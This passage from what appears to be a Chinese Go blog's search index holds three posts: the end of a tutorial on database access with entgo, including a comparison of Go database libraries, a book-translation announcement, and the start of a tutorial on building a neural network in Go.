通过上述示例，我们可以看到sqlc在生成类型安全的Go代码方面非常高效，它结合了SQL查询的灵活性和Go语言的类型安全特性，使得数据库操作更加直观和可靠。不过，学习sqlc的DSL还是需要一点时间的，也有一个小小的门槛。\n除了sqlc，Facebook开源的entgo是一个同时基于代码生成以及ORM进行数据库操作的方式。和sqlc一样，entgo在前期需要一定的额外学习成本。下面我们来看看使用entgo如何访问和操作数据库。\n5.6. 使用entgo操作数据库 Ent是Facebook开源的一个实体框架，它使用Schema作为强类型的Go代码生成数据模型和查询方法。Ent提供了类型安全的API、自动化的迁移、GraphQL支持等特性。\n5.6.1 安装Ent 和sqlc一样，由于需要代码生成，我们需要先安装ent的命令行工具：\n$go install entgo.io/ent/cmd/ent@latest 使用下面命令可以验证ent安装是否ok：\n$ent -h Usage: ent [command] Available Commands: completion Generate the autocompletion script for the specified shell describe print a description of the graph schema generate generate go code for the schema directory help Help about any command new initialize a new environment with zero or more schemas Flags: -h, --help help for ent Use \u0026#34;ent [command] --help\u0026#34; for more information about a command. 接下来，和sqlc一样，我们需要使用ent的DSL来定义schema，和sqlc不同，ent使用Go语法来定义schema。\n5.6.2 定义Schema 使用Ent需要先定义Schema，我们建立一个schema目录，将所有schema相关的Go定义文件都放入目录中：\n$tree schema schema ├── course.go ├── department.go ├── enrollment.go ├── instructor.go └── student.go schema目录下的每个文件都是一个entity的定义，以department.go为例：\n// database-access/ent/schema/department.go package schema import ( \u0026#34;entgo.io/ent\u0026#34; \u0026#34;entgo.io/ent/schema/edge\u0026#34; \u0026#34;entgo.io/ent/schema/field\u0026#34; ) // Department holds the schema definition for the Department entity. type Department struct { ent.Schema } // Fields of the Department. func (Department) Fields() []ent.Field { return []ent.Field{ field.String(\u0026#34;name\u0026#34;).NotEmpty(), } } // Edges of the Department. func (Department) Edges() []ent.Edge { return []ent.Edge{ edge.To(\u0026#34;instructors\u0026#34;, Instructor.Type), edge.To(\u0026#34;courses\u0026#34;, Course.Type), edge.To(\u0026#34;students\u0026#34;, Student.Type), } } 我们看到结构体类型Department对应表department，department与其他表之间的关系使用ent.Edge表示，这样就建立了与其他表的关系。有了Schema定义后，我们就可以来生成代码了。\n5.6.3 生成代码 我们在database-access/ent目录下执行下面命令：\n$ent generate demo/schema --target ent ent会基于demo/schema包生成相应代码(这里go module为demo)，即在ent目录下生成包名为ent的代码：\n$tree -L 1 -F ./ent ./ent ├── client.go ├── course/ ├── course.go ├── course_create.go ├── course_delete.go ├── course_query.go ├── course_update.go ├── department/ ├── department.go ├── department_create.go ├── department_delete.go ├── department_query.go ├── department_update.go ├── enrollment/ ├── enrollment.go ├── enrollment_create.go ├── enrollment_delete.go ├── enrollment_query.go ├── enrollment_update.go ├── ent.go ├── enttest/ ├── hook/ ├── instructor/ ├── instructor.go ├── instructor_create.go ├── instructor_delete.go ├── instructor_query.go ├── instructor_update.go ├── migrate/ ├── mutation.go ├── predicate/ ├── runtime/ ├── runtime.go ├── student/ ├── student.go ├── student_create.go ├── student_delete.go ├── student_query.go ├── student_update.go └── tx.go 我们看到，ent为每个entity，比如department都生成了一组文件，包括增删改查。接下来，我们就来使用ent生成的代码来操作数据库！\n5.6.4 使用生成的代码操作数据库 下面是使用ent生成的代码操作数据库的示例代码：\n// database-access/ent/main.go package main import ( \u0026#34;context\u0026#34; \u0026#34;log\u0026#34; \u0026#34;demo/ent\u0026#34; \u0026#34;demo/ent/course\u0026#34; \u0026#34;demo/ent/department\u0026#34; \u0026#34;demo/ent/enrollment\u0026#34; \u0026#34;demo/ent/student\u0026#34; _ \u0026#34;github.com/go-sql-driver/mysql\u0026#34; ) func main() { client, err := ent.Open(\u0026#34;mysql\u0026#34;, \u0026#34;root:123456@tcp(127.0.0.1:4407)/example_db?parseTime=True\u0026#34;) if err != nil { log.Fatalf(\u0026#34;failed opening connection to mysql: %v\u0026#34;, err) } defer client.Close() ctx := context.Background() // Run the automatic migration tool to create all schema resources. if err := client.Schema.Create(ctx); err != nil { log.Fatalf(\u0026#34;failed creating schema resources: %v\u0026#34;, err) } // 执行CRUD操作 createData(ctx, client) queryData(ctx, client) updateData(ctx, client) deleteData(ctx, client) } func createData(ctx context.Context, client *ent.Client) { // 创建部门 cs, err := client.Department.Create().SetName(\u0026#34;Computer Science\u0026#34;).Save(ctx) if err != nil { log.Fatal(err) } math, err := client.Department.Create().SetName(\u0026#34;Mathematics\u0026#34;).Save(ctx) if err != nil { log.Fatal(err) } // 创建教师 _, err = client.Instructor.Create().SetName(\u0026#34;John Doe\u0026#34;).SetDepartment(cs).Save(ctx) if err != nil { log.Fatal(err) } _, err = client.Instructor.Create().SetName(\u0026#34;Jane Smith\u0026#34;).SetDepartment(math).Save(ctx) if err != nil { log.Fatal(err) } // 创建课程 dbCourse, err := client.Course.Create().SetTitle(\u0026#34;Database Systems\u0026#34;).SetDepartment(cs).Save(ctx) if err != nil { log.Fatal(err) } calcCourse, err := client.Course.Create().SetTitle(\u0026#34;Calculus\u0026#34;).SetDepartment(math).Save(ctx) if err != nil { log.Fatal(err) } // 创建学生 alice, err := client.Student.Create().SetName(\u0026#34;Alice\u0026#34;).SetDepartment(cs).Save(ctx) if err != nil { log.Fatal(err) } bob, err := client.Student.Create().SetName(\u0026#34;Bob\u0026#34;).SetDepartment(math).Save(ctx) if err != nil { log.Fatal(err) } // 学生选课 _, err = client.Enrollment.Create().SetStudent(alice).SetCourse(dbCourse).SetSemester(\u0026#34;Fall\u0026#34;).SetYear(2024).Save(ctx) if err != nil { log.Fatal(err) } _, err = client.Enrollment.Create().SetStudent(bob).SetCourse(calcCourse).SetSemester(\u0026#34;Fall\u0026#34;).SetYear(2024).Save(ctx) if err != nil { log.Fatal(err) } } func queryData(ctx context.Context, client *ent.Client) { // 查询所有学生 //students, err := client.Student.Query().All(ctx) students, err := client.Student.Query().WithDepartment().All(ctx) if err != nil { log.Fatal(err) } for _, stu := range students { log.Printf(\u0026#34;Student ID: %d, Name: %s, Department ID: %d\\n\u0026#34;, stu.ID, stu.Name, stu.Edges.Department.ID) } // 查询某个部门的课程 courses, err := client.Course.Query().WithDepartment().Where(course.HasDepartmentWith(department.ID(1))).All(ctx) if err != nil { log.Fatal(err) } for _, course := range courses { log.Printf(\u0026#34;Course ID: %d, Title: %s, Department ID: %d\\n\u0026#34;, course.ID, course.Title, course.Edges.Department.ID) } // 查询某个学生的选课信息 enrollments, err := client.Enrollment.Query().WithStudent().WithCourse().Where(enrollment.HasStudentWith(student.ID(1))).All(ctx) if err != nil { log.Fatal(err) } for _, enrollment := range enrollments { log.Printf(\u0026#34;Student ID: %d, Course ID: %d, Semester: %s, Year: %d\\n\u0026#34;, enrollment.Edges.Student.ID, enrollment.Edges.Course.ID, enrollment.Semester, enrollment.Year) } } func updateData(ctx context.Context, client *ent.Client) { // 更新学生姓名 _, err := client.Student.UpdateOneID(1).SetName(\u0026#34;Alice Johnson\u0026#34;).Save(ctx) if err != nil { log.Fatal(err) } // 更新课程标题 _, err = client.Course.UpdateOneID(1).SetTitle(\u0026#34;Advanced Database Systems\u0026#34;).Save(ctx) if err != nil { log.Fatal(err) } } func deleteData(ctx context.Context, client *ent.Client) { // 删除选课记录 _, err := client.Enrollment.Delete().Where(enrollment.HasCourseWith(course.ID(1))).Exec(ctx) if err != nil { log.Fatal(err) } // 删除课程 err = client.Course.DeleteOneID(1).Exec(ctx) if err != nil { log.Fatal(err) } // 删除学生 err = client.Student.DeleteOneID(1).Exec(ctx) if err != nil { log.Fatal(err) } } 通过以上示例可以看到，使用GORM和Ent都可以大大简化数据库操作，并提供了类型安全的API和自动化的迁移支持，使得开发更加高效和可靠。\n到这里我们已经见识到了三类数据库访问和操作的方式，那么究竟那种适合我们呢？我们接下来做一个简单的对比。\n6. 不同数据库访问方式的对比 在前面的小节中，我们介绍了三种主要的数据库访问方式：Go标准库、ORM库（GORM），以及代码生成工具（sqlc和ent）。在本节中，我们将基于前面示例中的表现，对这些方式进行一个简单的对比，以帮助开发者在实际项目中做出最佳选择。\n以下是整理的关于Go不同数据库访问方式优缺点的表格：\n这张表格总结了不同数据库访问方式的优缺点，帮助读者选择最适合其项目需求的方式。\n关于各种数据库访问方式的性能对比，做起来还是稍麻烦的，之前goland博客曾发表过一篇有关go标准库 vs. gorm vs. sqlx. vs. sqlc的压测的文章，大家可以参考其中的结论，即Go标准库、sqlc由于是原生sql操作，所以性能最佳；sqlx略有扩展，性能次之；gorm在小数据量的情况下，性能是很快的，但性能会随着数据量的增加而下降很多。\n综合，以上对比与性能情况，这里也给出一些选择建议：\n如果性能是首要考虑，且不介意手写SQL查询，推荐使用Go标准库 (database/sql)。 如果需要更多的功能和一些简化的开发体验，可以选择sqlx。 如果需要高级的ORM特性和简化开发过程，GORM和Ent都是不错的选择，但需要注意性能开销。 如果希望在保持性能的同时获得类型安全和编译时检查，sqlc是一个非常好的选择。 7. 小结 本文详细介绍了在Go语言中访问和操作数据库的几种主流方式。\n我们首先搭建了一个基于MySQL数据库的示例环境，并定义了一个简单的学校院系选课关系模型作为数据库模式。然后，我们分别使用以下三种方法实现了对该数据库的CRUD操作：\n使用Go标准库database/sql加上特定数据库的driver，并配合像sqlx这样的功能增强包。这种方式灵活性高，可完全控制SQL语句，但需要编写较多样板代码。\n使用ORM工具GORM，这种方式可以将数据库操作抽象为对象关系映射，降低开发难度，但功能可能无法完全满足需求，性能也会在数据量增大的情况下有较大下降。\n使用代码生成 + ORM 的方式，如sqlc和Ent。这种方式将SQL语句编译为Go代码或直接用Go代码表述schema，既可以获得类似ORM的便利，又可以自定义SQL语句。不过这种方式有相对高一些的学习门槛，比如要熟练掌握sqlc的DSL语法才能写出满足要求的数据库操作语句。\n最后，我们还简单对比了这三种方法的优劣，希望可以帮助大家选择出适合自身项目的数据库访问方式。\n本文涉及的源码可以在这里下载 – https://github.com/bigwhite/experiments/blob/master/database-access\n本文中的部分源码由OpenAI的GPT-4o生成。\n8. 参考资料 比较database/sql、GORM、sqlx 和 sqlc – https://blog.jetbrains.com/zh-hans/go/2023/06/30/database-sql-gorm-sqlx-sqlc/ https://github.com/rexfordnyrk/go-db-comparison/ https://www.reddit.com/r/golang/comments/130kxaw/comparing_databasesql_gorm_sqlx_and_sqlc/ sqlc介绍 – https://conroy.org/introducing-sqlc “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/07/15/understand-the-ways-to-access-databases-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 33\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-the-ways-to-access-databases-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/07/15/understand-the-ways-to-access-databases-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/07/15/understand-the-ways-to-access-databases-in-go\"\u003ehttps://tonybai.com/2024/07/15/understand-the-ways-to-access-databases-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e关系数据库操作是Go应用开发中的重要一环，尤其是Go Web应用、微服务等。作为Gopher，我们需要了解几种主流的数据库访问和操作方法，以便在项目中做出适当的选择。\u003c/p\u003e","title":"通过实例理解Go访问和操作数据库的几种方式"},{"content":"Go语言编程指南翻译记：一本书，一支队伍，一段难忘的旅程 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 Go语言编程指南翻译记：一本书，一支队伍，一段难忘的旅程 七月 5, 2024 2 条评论 本文永久链接 – https://tonybai.com/2024/07/05/go-fundamentals-translation\n嘿，各位Gopher们！猜猜发生了什么？我们团队翻译的《Go Fundamentals：Gopher Guides》中文版终于出版啦！没错，就是那本被我们亲切地称为《Go语言编程指南》的Go入门宝典。说实话，看到这本书终于摆在书架上，我的心情就像是刚刚用Go写出了一个超高效的并发程序一样兴奋！\n翻译这回事儿，我可不是新手 先让我跟大家聊聊我的“翻译前传”。其实这已经是我第二次和人民邮电出版社合作翻译技术书籍了。第一次是什么？就是那本豆瓣评分高达8.0的《七周七语言》！\n没错，就是这本让很多程序员大呼过瘾的语言大乱斗。那次我和其他几位未曾谋过面的译者一起，在杨海玲和李松峰编辑老师的指导下完成了翻译。说实话，那次经历给了我不少信心，也让我爱上了这种通过翻译学习新知识的感觉。\n这次，我带了“一个团队”来翻译 这一次翻译《Go语言编程指南》，可就不一样了。我们睿驰车联网先行产品团队的一群Gopher集体出动！想想看，一群平时用Go撸产品的工程师聚在一起翻译Go的书，那场面，简直是Gopher的狂欢啊！\n我们的翻译天团是这样的：\n我，白明：虽然是领队，但也得撸起袖子干活，包揽了第1~3章的翻译，还得负责全书的校对。累？不存在的！ 刘瑞强：专攻第4、8、11和13章，简直是四处开花。 于昊：包下了第7、10、12、14章，都是难啃的骨头儿！ 郭宇：负责第5、6、9章，还有本书其他的零零碎碎，简直是全能选手。 说真的，这次翻译不仅让我们的英语水平突飞猛进，我们对Go的理解也是噌噌往上涨。现在我们用Go开发的车联网中间件，已经在好几家主机厂的项目中大显身手了。这感觉，就像是用Go写出的程序一样：高效又实用！\n这本书到底讲了啥？ 哦，差点忘了介绍这本书的内容。《Go语言编程指南》可不是一本普通的入门书，它源自作者马克·贝茨和科瑞·拉诺的Gopher Guides系列Go培训教程。\n这俩哥们教授该课程很多年，深受广大Gopher欢迎。 同时，这本书也是Go语言的全家桶！从最基础的语法到并发编程的高级主题，再到刚刚落地Go没多久的语言特性新贵“泛型”等，应有尽有。无论你是Go语言的新手，还是想进阶的老手，这本书都能让你有所收获。\n再具体一点，书中包括了：\nGo的包和模块管理：不用再为GOPATH抓狂了！ 基础语法：变量、类型、控制流，麻雀虽小五脏俱全。 复合类型：数组、切片、map和函数，Go的精髓都在这儿了。 结构体和方法：面向对象？Go有自己的方式。 测试：写出好代码，测试必不可少。 接口和泛型：Go的泛型来了，你还不学吗？ 并发编程：goroutine、channel，Go的杀手锏！ 是不是很想一睹为快啊！赶紧去下单吧！\n翻译路上的酸甜苦辣 说实话，这一年半的翻译时光，还真是既有苦也有乐。有时候为了一个术语的翻译，我们能在群里讨论半天。但最后得出的结果，总是让人满意的。我们不仅仅是翻译，更像是在重新咀嚼消化这本书的内容。遇到原文表述不清的地方，我们还得集体讨论，然后用更清晰的方式表达出来。遇到原文中有误的地方，我们会用脚注标记处原作中的小瑕疵，并对原文予以纠正。\n最让我感动的是，看到团队成员们在翻译过程中的成长。大家不仅英语水平提高了，对Go的理解也更深了。现在讨论起Go的特性，大家都能侃侃而谈，这感觉，真是太棒了！\n最后的碎碎念 说到最后，真的要感谢人民邮电出版社的杨绣国老师。杨老师的专业水平和敬业精神依旧让我佩服不已。没有她的策划、协调和帮助，这本书可能还在我们的电脑里躺着呢。\n当然，我还要向书籍的原作者马克·贝茨和科瑞·拉诺致敬。哥们儿，你们写的书真是太棒了！\n最后，如果你正在看这篇文章，而且对Go感兴趣，不如去买本《Go语言编程指南》看看？相信我，你这钱“买不了吃亏，买不了上当，真正的物有所值”。也许有一天，你也会成为Go语言的高手，到时候别忘了回来在留言区告诉我哦！\n好了，我得去写Go代码了。记住，Stay hungry，stay foolish and keep Go-ing！\n最后最后，我再模式化的补一句：因团队能力有限，翻译可能存在不当之处，恳请读者批评指正。\n注：如发现原文或译文中的问题，欢迎在这篇文章的评论中留言指出。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/07/05/go-fundamentals-translation/","summary":"\u003ch1 id=\"go语言编程指南翻译记一本书一支队伍一段难忘的旅程--tony-bai\"\u003eGo语言编程指南翻译记：一本书，一支队伍，一段难忘的旅程 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"go语言编程指南翻译记一本书一支队伍一段难忘的旅程\"\u003eGo语言编程指南翻译记：一本书，一支队伍，一段难忘的旅程\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e七月 5, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/07/05/go-fundamentals-translation/#comments\" title=\"《Go语言编程指南翻译记：一本书，一支队伍，一段难忘的旅程》上的评论\"\u003e2 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 33\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-fundamentals-translation-1.png\"\u003e\u003c/p\u003e","title":"Go语言编程指南翻译记：一本书，一支队伍，一段难忘的旅程"},{"content":"\n本文永久链接 – https://tonybai.com/2024/06/28/go-and-nn-part3-handwritten-digit-recognition\n在上一篇文章《Go与神经网络：线性回归》中，我们借由传统的机器学习方法：线性回归解决了房价预测问题。按照我初步设想的从传统机器学习到大语言模型的学习路线，是时候在这一篇中切换到学习神经网络了。\n1. 从线性回归到神经网络 我们已经知道了如何使用多元线性函数构成的线性回归模型预测房价，其实线性模型也可以看作是一个神经网络。我们在上一篇文章中使用的假设函数如下图：\n我们可以将y’表示成一个神经网络的结构：\n这里x1、x2和x3是神经网络的输入，y’是神经网络的输出（这里省略了偏置参数b），y’也是该网络里唯一一个具有计算功能的神经元，即计算神经元。\n一个更具通用意义的与线性模型等价的神经网络结构如下图，该图只显示连接模式，即只显示每个输入如何连接到输出，隐去了权重和偏置的值：\n在上面神经网络中，输入为x1、x2…、xn，它们共同构成了该神经网络的输入层(input layer)。没错，在神经网络结构中，我们引入了“层(layer)”的概念。\n神经网络中一般有三类层，它们分别是输入层、隐藏层和输出层。大家耳熟能详的（但却不知道具体是什么的）卷积层、池化层等，都可以被视为广义的隐藏层。每一层都包含多个神经元，并通过层与层之间的连接进行信息的前向传播和反向传播。这种分层结构也正是神经网络功能强大的关键。\n隐藏层我们暂且不展开，我们就上面的图先来看看输入层。输入层中的输入数称为特征维度d，在上图中，我们有n个输入特征，因此特征维度d=n。在输出层，图中只有一个神经元o，该神经元也是计算神经元，计算后的结果即为神经网络的最终计算结果。\n神经网络模型的重点是在发生计算的地方，即计算神经元，因此通常我们在计算神经网络的层数时不考虑输入层，也就是说上图中这个简单的神经网络的层数为1。\n由此可以看出：线性回归模型可被视为仅由单个人工神经元组成的神经网络，或称为单层神经网络。\n1.1 感知器 而这种单层神经网络最早可追溯至1958年罗森布拉特(Roseblatt) 提出的感知器(Perceptron)。这个感知器也是受到了1943年美国神经生理学家沃伦麦卡洛克(Warren McCulloch)和数学家沃尔特皮茨(Walter Pitts)早期对形式神经元模型(又称M-P模型)研究的影响。\n下面是感知器的结构图：\n这张感知器的结构图是不是与前面的单层神经网络图十分相近啊。上图中感知器有3个输入x1、x2和x3。一般来说输入还可以更多或更少。Rosenblatt针对这样的一个感知器提出了一条计算输出的简单规则。他引入了权重w1、w2、w3，用这些实数来表示输入对于输出的重要性。感知器的输出由所有输入的加权和来决定，当加权和小于或等于某个阈值时，输出为0；否则当加权和大于某个阈值时，输出为1。\n用下图表达感知器的计算过程更为准确：\n感知器的计算过程是一个阶跃函数g(x)复合一个线性函数f(x)的结果。如果将感知器整体看成一个神经元，那么该神经元的计算就是先计算线性函数，再计算阶跃函数。这个阶跃函数在神经网络中也被称为激活函数，它决定了这个神经元的输出值对后续神经元计算结果的影响程度。当输出为0时，则没有影响；当输出为1时，则有影响。\n注：类似于权重，阈值也是实数，也是神经元的一个参数。\n这里的激活函数（阶跃函数）是一个二值函数，只能用来决策“是”与“非”，带有这样的激活函数的感知器能够解决的问题有限，这个我们后面再说。\n现在我们回到线性回归模型。我们可以将线性回归模型看成是由单个人工神经元组成的神经网络，即感知器，输出是输入特征加权求和后的连续值输出，但没有使用阶跃激活函数，而是使用了恒等激活函数(g(x)=x)。\n既然是等价的，那这种单层神经网络也可以用来解决房价预测问题。下面我们就用神经网络结构来重新实现一下房价预测问题的解决方案。\n1.2 解决线性回归房价预测问题 下面是使用神经网络的形式解决房价预测问题的实现，该实现使用的训练数据集(train.csv)和验证数据集(test.csv)与上一篇文章《Go与神经网络：线性回归》中使用的保持一致，这样从csv文件中加载数据(readCSV)以及标准化(standardize)的实现也与上一篇文章保持一致，这里就不列出其代码了。\n// go-and-nn/ann/linear-regression/main.go // Initialize a layer with the given number of inputs func NewLayer(inputSize int) *Layer { weights := make([]float64, inputSize) for i := range weights { weights[i] = 0.01 // small random values, here we use a small constant for simplicity } return \u0026amp;Layer{ weights: weights, bias: 0.0, } } // Forward propagation func (layer *Layer) Forward(inputs []float64) float64 { output := layer.bias for i := range layer.weights { output += layer.weights[i] * inputs[i] } return output } // Backward propagation (gradient computation and update) func (layer *Layer) Backward(inputs []float64, error float64, learningRate float64) { for i := range layer.weights { layer.weights[i] -= learningRate * error * inputs[i] } layer.bias -= learningRate * error } // Training the neural network func trainModel(data [][]float64, learningRate float64, epochs int) *Layer { features := len(data[0]) - 1 layer := NewLayer(features) for epoch := 0; epoch \u0026lt; epochs; epoch++ { totalError := 0.0 for i := 0; i \u0026lt; len(data); i++ { inputs := data[i][:features] target := data[i][features] prediction := layer.Forward(inputs) error := prediction - target totalError += error * error layer.Backward(inputs, error, learningRate) } mse := totalError / float64(len(data)) fmt.Printf(\u0026#34;Epoch %d: Weights: %v, Bias: %f, MSE: %f\\n\u0026#34;, epoch+1, layer.weights, layer.bias, mse) } return layer } // Evaluate the model func predictAndEvaluate(data [][]float64, layer *Layer, mean []float64, std []float64) { features := len(data[0]) - 1 totalError := 0.0 for i := 0; i \u0026lt; len(data); i++ { standardizedFeatures := make([]float64, features) for j := 0; j \u0026lt; features; j++ { standardizedFeatures[j] = (data[i][j] - mean[j]) / std[j] } prediction := layer.Forward(standardizedFeatures) error := prediction - data[i][features] totalError += error * error fmt.Printf(\u0026#34;Sample %d: Predicted Value: %f, Actual Value: %f\\n\u0026#34;, i+1, prediction, data[i][features]) } mse := totalError / float64(len(data)) fmt.Printf(\u0026#34;Mean Squared Error: %f\\n\u0026#34;, mse) } func main() { // Read training data trainData, err := readCSV(\u0026#34;train.csv\u0026#34;) if err != nil { log.Fatalf(\u0026#34;failed to read training data: %v\u0026#34;, err) } // Read testing data testData, err := readCSV(\u0026#34;test.csv\u0026#34;) if err != nil { log.Fatalf(\u0026#34;failed to read testing data: %v\u0026#34;, err) } // Standardize training data standardizedTrainData, mean, std := standardize(trainData) // Train model learningRate := 0.01 epochs := 1000 layer := trainModel(standardizedTrainData, learningRate, epochs) // Evaluate model on test data predictAndEvaluate(testData, layer, mean, std) } 我们看到与使用线性回归的实现不同的是，上述代码中定义了一个神经网络层，其中：\nLayer结构体表示神经网络的一层，包括权重和偏置。 NewLayer函数用于初始化一个神经网络层。 Layer的Forward方法实现前向传播计算输出。 Layer的Backward方法实现反向传播计算梯度并更新权重和偏置。 相对于线性回归的实现，这里重新封装后的神经网络layer及其方法更能反映神经网路训练的核心思想，即每次训练迭代，通过前向传播计算预测值，通过反向传播计算梯度并更新模型参数，从而逐步降低损失函数值，优化模型。我们看到：封装为layer后，代码逻辑更清晰，更加模块化，并且可扩展。但本质上的前向传播和反向传播的计算方法并没有变化。\n此外由于有了上一篇文章中对应超参值设置的经验，这里我们直接将learningRate设为0.01，epochs设置为1000，上述代码的运行输出结果如下：\n$go run main.go Epoch 1: Weights: [8.728884804818698 8.712975150143901], Bias: 32.778974, MSE: 115152.980580 Epoch 2: Weights: [15.814001516275553 15.78394955947715], Bias: 62.402472, MSE: 92863.737356 Epoch 3: Weights: [21.5696449805642 21.52641203275281], Bias: 89.173336, MSE: 75056.969233 Epoch 4: Weights: [26.243664907505245 26.1876016507747], Bias: 113.365517, MSE: 60777.711866 Epoch 5: Weights: [30.037914029652775 29.96891534482488], Bias: 135.226795, MSE: 49290.960631 Epoch 6: Weights: [33.11676440417245 33.03439154320403], Bias: 154.981251, MSE: 40026.212103 Epoch 7: Weights: [35.6140488515254 35.51762537760745], Bias: 172.831522, MSE: 32537.272869 ... ... Epoch 992: Weights: [59.437027713441424 32.25977558463242], Bias: 339.963336, MSE: 38.985916 Epoch 993: Weights: [59.448440160202296 32.24840584527085], Bias: 339.963329, MSE: 38.980859 Epoch 994: Weights: [59.45984819448098 32.2370405018792], Bias: 339.963322, MSE: 38.975806 Epoch 995: Weights: [59.47125181798348 32.22567955275781], Bias: 339.963315, MSE: 38.970758 Epoch 996: Weights: [59.482651032415184 32.214322996207684], Bias: 339.963308, MSE: 38.965713 Epoch 997: Weights: [59.494045839480805 32.20297083053052], Bias: 339.963300, MSE: 38.960672 Epoch 998: Weights: [59.50543624088439 32.1916230540286], Bias: 339.963293, MSE: 38.955636 Epoch 999: Weights: [59.516822238329354 32.18027966500492], Bias: 339.963286, MSE: 38.950603 Epoch 1000: Weights: [59.52820383351841 32.16894066176312], Bias: 339.963279, MSE: 38.945574 Sample 1: Predicted Value: 215.725493, Actual Value: 210.000000 Sample 2: Predicted Value: 241.257244, Actual Value: 230.000000 Sample 3: Predicted Value: 271.595687, Actual Value: 260.000000 Sample 4: Predicted Value: 304.337476, Actual Value: 310.000000 Sample 5: Predicted Value: 337.079264, Actual Value: 340.000000 Sample 6: Predicted Value: 369.821053, Actual Value: 370.000000 Sample 7: Predicted Value: 402.562841, Actual Value: 400.000000 Sample 8: Predicted Value: 435.304630, Actual Value: 430.000000 Sample 9: Predicted Value: 468.046418, Actual Value: 460.000000 Sample 10: Predicted Value: 500.788207, Actual Value: 490.000000 Mean Squared Error: 55.043119 我们看到，其模型效果与上一篇中优化后的模型差不多。\n2. 多层感知器与深度神经网络 2.1 明斯基把感知器“打入冷宫” 1969年，AI的创始人之一马文·明斯基(Marvin Minsky)指出了简单神经网络，比如单层感知器的局限性，即只能运用于线性问题的求解。\n单层感知器可以理解为一个简单的神经网络，由输入层和输出层组成。它通过以下方式进行计算：\ny = f(w * x + b) 其中： w 